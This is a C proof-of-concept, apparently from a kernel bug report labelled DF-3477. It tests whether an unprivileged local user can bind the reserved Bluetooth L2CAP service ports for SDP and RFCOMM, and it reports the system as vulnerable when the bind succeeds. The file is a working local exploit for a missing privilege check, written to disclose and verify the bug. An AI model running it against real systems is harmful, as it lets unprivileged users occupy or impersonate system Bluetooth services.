DF-3477 / df3477_bind.c
/* * DF-3477 — ng_btsocket_l2cap_bind() has no privilege check and no PSM * range restriction: an unprivileged local user can bind (occupy) any * L2CAP PSM, including the assigned/reserved service PSMs 1 (SDP) and * 3 (RFCOMM), on a system with the ng_btsocket module loaded. * * Expected (vulnerable): socket()+bind() succeed for uid != 0. * Expected (fixed): bind() returns EACCES/EPERM for privileged PSMs * (or the socket() itself is restricted). * * build: cc -o df3477_bind df3477_bind.c * run: ./df3477_bind (as unprivileged user) */ #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <string.h> #include <errno.h> #include <unistd.h> #define AF_BT 33 #define PROTO_L2CAP 135 struct sockaddr_l2cap_bt { u_char l2cap_len; u_char l2cap_family; u_short l2cap_psm; /* little-endian on the wire */ u_char l2cap_bdaddr[6]; }; static int bind_psm(u_short psm_le) { struct sockaddr_l2cap_bt sa; int fd, r; fd = socket(AF_BT, SOCK_SEQPACKET, PROTO_L2CAP); if (fd < 0) { printf("socket(SOCK_SEQPACKET, L2CAP): %s\n", strerror(errno)); return (-1); } memset(&sa, 0, sizeof(sa)); sa.l2cap_len = sizeof(sa); sa.l2cap_family = AF_BT; sa.l2cap_psm = psm_le; /* PSM 1 = SDP, PSM 3 = RFCOMM */ r = bind(fd, (struct sockaddr *)&sa, sizeof(sa)); printf("uid=%d bind(psm=%u) -> %s\n", getuid(), (unsigned)(psm_le & 0xff), r == 0 ? "SUCCESS" : strerror(errno)); return (r == 0 ? fd : -1); } int main(void) { int fd1, fd2; printf("DF-3477: unprivileged L2CAP PSM bind test (uid=%d)\n", getuid()); if (getuid() == 0) printf("WARNING: running as root, drop privileges first for a " "meaningful test\n"); /* PSM 1 = Service Discovery (assigned, privileged service) */ fd1 = bind_psm(0x0001); /* PSM 3 = RFCOMM (assigned, privileged service) */ fd2 = bind_psm(0x0003); if (fd1 >= 0 || fd2 >= 0) { printf("RESULT: VULNERABLE — unprivileged user occupied a " "reserved L2CAP service PSM\n"); } else { printf("RESULT: not demonstrated (bind failed for both)\n"); } /* second bind of same PSM to show occupation semantics */ if (fd1 >= 0) bind_psm(0x0001); return (0); } |